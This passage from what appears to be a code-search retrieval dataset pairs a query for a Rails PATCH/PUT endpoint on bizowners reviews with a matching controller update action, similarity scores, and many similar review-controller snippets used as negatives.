:created, :location => @review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@review = Review.new(params[:review])\n\t\t@review.establishment = Establishment.find(params[:establishment])\n\t\t@review.category = Category.find(params[:category])\n\t\t@review.clientele = Clientele.find(params[:clientele])\n\t\t@review.sound_level = SoundLevel.find(params[:sound_level])\n\t\t@review.hygiene = Hygiene.find(params[:hygiene])\n\t\t@review.rating = Rating.find(params[:rating])\n\n\t\trespond_to do |format|\n\t\t\tif @review.save\n\t\t\t\tformat.html { redirect_to(@review, :notice => 'Review was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @review, :status => :created, :location => @review }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create_pull_request_review(repo, pull_request_number, event, body = nil, options = {})\n review = {\n event: event,\n accept: CUSTOM_ACCEPT_HEADER\n }\n review[:body] = body unless body.nil?\n post \"#{Repository.path repo}/pulls/#{pull_request_number}/reviews\", options.merge(review)\n end" ]
[ "0.716348", "0.7099", "0.6999252", "0.68752074", "0.6841291", "0.6711891", "0.66358954", "0.65957695", "0.65686494", "0.65673083", "0.65673083", "0.65673083", "0.6539914", "0.6535224", "0.65054387", "0.649292", "0.64909023", "0.64634544", "0.6442417", "0.6442119", "0.6435676", "0.6418774", "0.64169925", "0.64125097", "0.6377054", "0.63757515", "0.63734", "0.6365186", "0.6329981", "0.63264495", "0.6318243", "0.63167787", "0.6303714", "0.6303714", "0.6299421", "0.6275164", "0.62625295", "0.6258744", "0.62503946", "0.6245409", "0.62399185", "0.62373245", "0.6236239", "0.6234434", "0.6225558", "0.6215066", "0.6212858", "0.6208281", "0.6201861", "0.61876243", "0.6179199", "0.6177669", "0.617703", "0.6174066", "0.6168389", "0.61651736", "0.6160297", "0.61447406", "0.6142679", "0.61269975", "0.61222726", "0.612048", "0.61142147", "0.6109804", "0.6095586", "0.6088256", "0.6073391", "0.6069972", "0.6067146", "0.60651505", "0.60634416", "0.60547525", "0.6046727", "0.60460496", "0.6043218", "0.6040795", "0.6032492", "0.60312885", "0.60207224", "0.6020444", "0.6015229", "0.6003883", "0.5997055", "0.59823376", "0.5981539", "0.597784", "0.5976217", "0.5976011", "0.59732527", "0.5971705", "0.5970058", "0.5962299", "0.5957587", "0.59519845", "0.59478134", "0.59471726", "0.5945879", "0.59457415", "0.59349716", "0.5932917" ]
0.71367687
1
PATCH/PUT /bizowners_reviews/1 PATCH/PUT /bizowners_reviews/1.json
def update respond_to do |format| if @bizowners_review.update(bizowners_review_params) format.html { redirect_to @bizowners_review, notice: 'Bizowners review was successfully updated.' } format.json { render :show, status: :ok, location: @bizowners_review } else format.html { render :edit } format.json { render json: @bizowners_review.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @review = Review.find(params[:id])\n @review.update(review_params)\n render json: @review\n end", "def set_bizowners_review\n @bizowners_review = BizownersReview.find(params[:id])\n end", "def update\n if @review.update(review_params)\n render json: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\nend", "def update\n @review = @post.reviews.where(user_id: current_user.id).find(params[:id])\n @review.update_attributes(params[:review])\n respond_with @post, @review, location: post_path(@post, anchor: \"review_#{@review.id}\")\n end", "def update\n respond_to do |format|\n if @boo_k_review.update(boo_k_review_params)\n format.html { redirect_to @boo_k_review, notice: 'Boo k review was successfully updated.' }\n format.json { render :show, status: :ok, location: @boo_k_review }\n else\n format.html { render :edit }\n format.json { render json: @boo_k_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = reviewable.reviews.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to reviewable_review_url(reviewable, @review), notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def update\n @review = Review.find(params[:id])\n\n if @review.update(review_params)\n head :no_content\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def create\n @bizowners_review = BizownersReview.new(bizowners_review_params)\n @bizowners_review.update(jobseeker_id: current_user.id)\n @bizowners_review.update(status: true)\n\n respond_to do |format|\n if @bizowners_review.save\n format.html { redirect_to @bizowners_review, notice: 'Bizowners review was successfully created.' }\n format.json { render :show, status: :created, location: @bizowners_review }\n else\n format.html { render :new }\n format.json { render json: @bizowners_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n find_params = document_review_owner_params.slice(:user_id, :project_id)\n review_owner = DocumentReviewOwner.find_or_initialize_by(find_params)\n authorize! :update, review_owner\n review_owner.assign_attributes(document_review_owner_params)\n if review_owner.save\n render json: review_owner\n else\n render json: review_owner.errors, status: :unprocessable_entity\n end\n end", "def update\n @review = @place.reviews.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to reviews_path, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params) && @review.revoke_approval!\n format.json { render :show, status: :ok, location: @review }\n else\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @book_review = BookReview.find(params[:id])\n\n respond_to do |format|\n if @book_review.update_attributes(params[:book_review])\n format.html { redirect_to @book_review, notice: 'Book review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to restaurent_path(@restaurent.id), notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @blade_review.update(blade_review_params)\n format.html { redirect_to blade_reviews_path, notice: 'Blade review was successfully updated.' }\n format.json { render :show, status: :ok, location: @blade_review }\n else\n format.html { render :edit }\n format.json { render json: @blade_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @company_review.update(company_review_params)\n format.html { redirect_to @company_review, notice: 'Company review was successfully updated.' }\n format.json { render :show, status: :ok, location: @company_review }\n else\n format.html { render :edit }\n format.json { render json: @company_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to vendor_path(@review.vendor, view: \"recomendacoes\"), notice: 'A sua avaliação foi atualizada com sucesso' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_pull_review(repo, pull_number, review_id, body, options = {})\n opts = options.dup\n opts[:body] = body\n put \"#{Repository.path repo}/pulls/#{pull_number}/reviews/#{review_id}\", opts\n end", "def update\n\t\t@set_def_avt=params[:review][:default_avatar]\n\t\t@review.cover_page.destroy if @set_def_avt\n\n\t\trespond_to do |format|\n\t\t\tif @review.update(review_params)\n\t\t\t\t@reviews = Review.order(:heading).paginate(page: params[:page], per_page: 18)\n\t\t\t\tformat.html { redirect_to @review; flash[:info]= 'review was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @review }\n\t\t\t\tformat.js\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @review.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n\t\t\tend\n\t\tend\n\tend", "def update\n if @review.update(review_params)\n render :show, status: :ok, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = current_user\n @review = Review.find(params[:id])\n @review.update_attributes(review_params)\n render json: @review, include: [:movie]\n end", "def update\n respond_to do |format|\n if @user_review.update!(user_review_params)\n format.html { redirect_to user_reviews_path, notice: 'User review was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_review }\n else\n format.html { render :edit }\n format.json { render json: @user_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @listing, notice: 'Review was updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = current_user.reviews.find_by_id(params[:id])\n if @review.nil?\n flash[:notice] = t(:review_not_found)\n return redirect_back_or_default()\n else\n @reviewable = @review.reviewable\n @review.content = params[:review][:content]\n @review.reviewable_id = params[:review][:reviewable_id]\n @review.reviewable_type = params[:review][:reviewable_type]\n end\n\n respond_to do |format|\n #if @review.update_attributes(params[:review])\n if @review.save\n format.html { redirect_to review_path(@review), :notice => t(:review_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\treview = Review.find(params['id'].to_i) if params['id']\n\t\treview.review_text = params['review_text'] if params['review_text']\n\t\treview.rating = params['rating'] if params['rating']\n\t\treview.reviewer_id = params['reviewer_id'] if params['reviewer_id']\n\t\treview.user_id = params['user_id'].to_i if params['user_id']\n\t\treview.trip_id = params['trip_id'].to_i if params['trip_id']\n\t\treview.save\n\tend", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @restaurant.present?\n if @review.present?\n if @review.update(review_params)\n render_json content: @review\n else\n render_json content: @review.errors\n end\n end\n end\n\n end", "def update\n\t\t@reviews = @share.reviews.order(priority: :asc)\n\t\t@reviewToAlter = Review.find(params[:id])\n\t\t@review = Review.find(params[:id])\n\t\tif @review.update(review_params)\n\t\t\tredirect_to share_reviews_path(@share), notice: 'Review successfully updated!'\n\t\telse\n\t\t\tflash[:alert] = \"Error : #{@review.errors.full_messages.to_sentence}\"\n\t\t\trender :edit\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @user, notice: '评价更新成功' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\t@book_review = BookReview.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @book_review.update_attributes(params[:book_review])\n\t\t\t\tformat.html { redirect_to @book_review, :notice => 'Book review was successfully updated.' }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.json { render :json => @book_review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @item_review.update(item_review_params)\n format.html { redirect_to @item_review, notice: 'Item review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def bizowners_review_params\n params.require(:bizowners_review).permit(:bizowner_id, :jobseeker_id, :bizowner_review_star, :business_review_description, :job_end_date, :status)\n end", "def update_review\n @review = Review.find(params[:id])\n @review.update(params[:review])\n redirect \"/reviews/#{@review.id}\"\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review.publication, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n @paper = @review.paper\n @rate = 0.0\n @top = 0.0\n @bottem = 0.0\n @paper.reviews.each do |review| \n @top += review.score * review.confidence\n @bottem += review.confidence\n end\n @rate = @top / @bottem\n @paper.update_attribute(:rating, @paper.rating = @rate)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @item_review.update(item_review_params)\n format.html { redirect_to @item_review, notice: 'Item review was successfully updated.' }\n format.json { render :show, status: :ok, location: @item_review }\n else\n format.html { render :edit }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @review.update(review_params)\n @boardgame = Boardgame.find(params[:boardgame_id])\n render json: @boardgame, status: :ok\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @critic_review.update(critic_review_params)\n format.html { redirect_to @critic_review, notice: 'Critic review was successfully updated.' }\n format.json { render :show, status: :ok, location: @critic_review }\n else\n format.html { render :edit }\n format.json { render json: @critic_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update_attributes(review_params)\n flash[:success] = \"Review updated\"\n format.html { redirect_to @review.user } # notice: 'Review was successfully updated.'\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bollywood_review = BollywoodReview.find(params[:id])\n\n respond_to do |format|\n if @bollywood_review.update_attributes(params[:bollywood_review])\n format.html { redirect_to @bollywood_review, notice: 'Bollywood review was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bollywood_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to_creative :ok, 'Review was successfully updated.', :edit\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n format.js {render nothing: true}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\t@review = Review.find(params[:id])\n\n\t\tif @review.update(review_params.merge(:contract_id => @review.contract_id))\n\t\t\tredirect_to @review\n\t\telse\n\t\t\trender 'edit'\n\t\t\t# => Error when updating empty body element.\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @employee_review.update(employee_review_params)\n format.html { redirect_to @employee_review, notice: 'Employee review was successfully updated.' }\n format.json { render :show, status: :ok, location: @employee_review }\n else\n format.html { render :edit }\n format.json { render json: @employee_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = @album.review\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n flash[:notice] = \"Review '#{@review}' was successfully updated.\"\n format.html { redirect_to review_url(@review) }\n format.xml { head :ok }\n format.js { render :template => 'music/reviews/success' }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @review.errors.to_xml }\n format.js { render :template => 'music/reviews/error' }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to project_path(@project), notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_review.update(admin_review_params)\n format.html { redirect_to admin_review_path(@admin_review), notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: admin_review_path(@admin_review) }\n else\n format.html { render :edit }\n format.json { render json: @admin_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if (allowAccessIfOwnerNameIsOrRankAtLeast(\"#{@review.poster}\", 1))\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n end\n end\n else\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n flash[:notice] = 'You do not have permission to edit this review'\n\n end\n end\n end", "def update\n respond_to do |format|\n if @auditreview.update(auditreview_params)\n format.html { redirect_to action: \"index\", notice: 'Auditreview was successfully updated.' }\n format.json { render :show, status: :ok, location: @auditreview }\n else\n format.html { render :edit }\n format.json { render json: @auditreview.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @visitor_review.update(visitor_review_params)\n format.html { redirect_to @visitor_review, notice: 'Visitor review was successfully updated.' }\n format.json { render :show, status: :ok, location: @visitor_review }\n else\n format.html { render :edit }\n format.json { render json: @visitor_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @reviewable_object = current_user.reviewable_objects.find(params[:id])\n\n respond_to do |format|\n if @reviewable_object.update_attributes(params[:reviewable_object])\n format.html { redirect_to @reviewable_object, notice: 'Reviewable object was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reviewable_object.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bookreview.update(bookreview_params)\n format.html { redirect_to book_path(@bookreview.book_id), notice: 'Bookreview was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @bookreview.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @reviews = args[:reviews] if args.key?(:reviews)\n @average_rating = args[:average_rating] if args.key?(:average_rating)\n @total_review_count = args[:total_review_count] if args.key?(:total_review_count)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update\n respond_to do |format|\n #If the params are filled in and valid, it redirects to the review page and shows the notice\n if @review.update(review_params)\n format.html { redirect_to @review, notice: t('review.update') }\n format.json { render :show, status: :ok, location: @review }\n #If it doesnt update then it refreshes the edit review page\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @establishment = Establishment.find(params[:establishemnt_id])\n @reviews = @establishment.reviews.find(params[:id])\n @reviews.update(params[:review].permit(:rating, :review_content))\n\n redirect_to @establishment\n=begin\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n=end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n # Broadcast updated review on list from model.\n format.turbo_stream\n format.html { redirect_to recipe_path(@recipe, anchor: \"review_#{@review.id}\"), notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n format.turbo_stream do\n # Display errors.\n render turbo_stream: turbo_stream.replace(\"review_form_review_#{@review.id}\",\n partial: \"reviews/form\", locals: { recipe: @recipe, review: @review })\n end\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_nature_of_review.update(admin_nature_of_review_params)\n format.html { redirect_to @admin_nature_of_review, notice: 'Nature of review was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_nature_of_review }\n else\n format.html { render :edit }\n format.json { render json: @admin_nature_of_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reviews_and_rating.update(reviews_and_rating_params)\n format.html { redirect_to @reviews_and_rating, notice: 'Reviews and rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @reviews_and_rating }\n else\n format.html { render :edit }\n format.json { render json: @reviews_and_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: \"レビューを更新しました\" }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: \"振り返りの更新に成功しました。\" }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t@review.user_id = current_user.id\n\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { render :show, status: :ok, location: @review }\n\t\tformat.js\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n\t\tformat.js { render 'shared/errors' }\n end\n end\n end", "def edit_review\n # client should be able to edit a review.\n puts \"Which review would you like to edit?\"\n pp Client.find_by(name: @@client_name).reviews\n puts \"Please enter the ID\"\n input = gets.strip\n selected_review = Review.find_by(id: input)\n puts \"What would you like for the new review to say?\"\n input = gets.strip\n selected_review.update(text_body: input)\n puts \"Your review has been updated, here's the new review:\"\n pp selected_review\n client_continue\n end", "def edit_review(review_id, params = {})\n params = params.merge(v: \"2\")\n\n params[:read_at] = params[:read_at].strftime('%Y-%m-%d') if params[:read_at].is_a?(Time)\n\n params[:'review[review]'] = params.delete(:review) if params[:review]\n params[:'review[rating]'] = params.delete(:rating) if params[:rating]\n params[:'review[read_at]'] = params.delete(:read_at) if params[:read_at]\n\n # Documentation says that you should use HTTP PUT, but API returns\n # 401 Unauthorized when PUT is used instead of POST\n data = oauth_request_method(:post, \"/review/#{review_id}.xml\", params)\n\n Hashie::Mash.new(data[\"review\"])\n end", "def update\n @venue_review = VenueReview.find(params[:id])\n @owner = @venue_review.created_by?(current_user)\n respond_to do |format|\n if @owner && @venue_review.update_attributes(params[:venue_review])\n flash[:notice] = 'Thank you for updating your valuable review.'\n format.html { redirect_to(venue_path(@venue)) }\n format.xml { head :ok }\n else\n format.html { \n if !@owner\n flash[:notice] = \"Only the member that added this review can edit. <br/> If you feel the information is incorrect, please contact us.\" \n redirect_to(venue_path(@venue))\n else\n render :action => \"edit\" \n end\n }\n format.xml { render :xml => @venue_review.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\t\t\t\trender_invalid_action(current_review) unless current_review.update(update_driver_review_params)\n\t\t\tend", "def update\n @user_review = UserReview.find(params[:id])\n\n respond_to do |format|\n if @user_review.update_attributes(params[:user_review])\n flash[:notice] = 'UserReview was successfully updated.'\n format.html { redirect_to(@user_review) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user_review.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n # respond_to do |format|\n \n if @review.update(review_params)\n flash[:success] = '店舗情報を修正しました。'\n redirect_to reviews_path(@review)\n else\n render 'edit'\n end\n end", "def update\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to categories_url, notice: 'レビューの更新完了です!' }\n format.json { render :show, status: :ok, location: @review }\n else\n format.html { render :edit }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @food_review.update(food_review_params)\n format.html { redirect_to @food_review, notice: 'Food review was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_review }\n else\n format.html { render :edit }\n format.json { render json: @food_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @review = Review.find(params[:id])\n\n respond_to do |format|\n if @review.update_attributes(params[:review])\n flash[:notice] = 'Review was successfully updated.'\n format.html { redirect_to(@review) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @restaurant_review.update(restaurant_review_params)\n format.html { redirect_to @restaurant_review, notice: 'Restaurant review was successfully updated.' }\n format.json { render :show, status: :ok, location: @restaurant_review }\n else\n format.html { render :edit }\n format.json { render json: @restaurant_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hm_review.update(hm_review_params)\n format.html { redirect_to @hm_review, notice: 'Hm review was successfully updated.' }\n format.json { render :show, status: :ok, location: @hm_review }\n else\n format.html { render :edit }\n format.json { render json: @hm_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if current_user.blank?\n redirect_to professor_course_path(\n @review.professor_id,\n @review.course_id\n ),\n notice: 'You must be\n logged in to update a review.'\n else\n @review.authuser_id = current_user.id\n respond_to do |format|\n if @review.update(review_params)\n format.html do\n redirect_to professor_course_path(\n @review.professor_id,\n @review.course_id\n ),\n notice: 'Review was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @review }\n else\n format.html do\n @courses = load_courses\n @professors = load_professors\n render :edit\n end\n format.json do\n render json: @review.errors, status: :unprocessable_entity\n end\n end\n end\n end\n end", "def patch(body, request_configuration=nil)\n raise StandardError, 'body cannot be null' if body.nil?\n request_info = self.to_patch_request_information(\n body, request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, lambda {|pn| MicrosoftGraph::Models::AccessReviewInstance.create_from_discriminator_value(pn) }, error_mapping)\n end", "def update\n @review = Review.find(params[:id])\n @review.attributes = review_params(params)\n\n update_story_attributes(@review, params[:story])\n update_member_settings(@review, params[:review_form_expanded])\n update_source_review(@review.story, params[:source_ratings])\n \n if @review.save_and_process_with_propagation\n if current_member.status == 'guest'\n flash[:notice] = render_to_string(:inline => \"<h2>Your review was successfully updated,<br>but will not be published until you activate your account.</h2>Check your email inbox and click on your activation link. For help, check our <%= help_link('FAQ', 'activate') %>.\")\n render :json => { :go => :story_actions, \n :form_transition => {:from => :review, :to => :story_actions} }.to_json\n else\n notice = tweet_if_requested(@review, params[:short_url])\n render :json => { :go => :story_actions, \n :form_transition => {:from => :review, :to => :story_actions}, \n :notice => notice,\n :fb_stream_story => toolbar_facebook_stream_story(@review) }.to_json\n end\n\n if @review.hidden? && !current_member.has_role_or_above?(:admin)\n NotificationMailer.deliver_edit_alert(:subject => \"Hidden Review Updated\", :body => \"Check #{review_url(@review)}.\")\n end\n else\n render :json => {:error_message => \"Failed to save review\"}.to_json\n end\n end", "def set_boo_k_review\n @boo_k_review = BooKReview.find(params[:id])\n end", "def update\n @review = Review.find(params[:id])\n 